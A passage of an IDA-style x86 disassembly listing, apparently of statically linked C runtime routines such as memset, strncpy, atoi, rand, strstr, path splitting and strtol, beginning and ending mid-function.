		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 26F054Fh
		nop
		push	eax
		nop
		call	near ptr 26E0AA6h


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
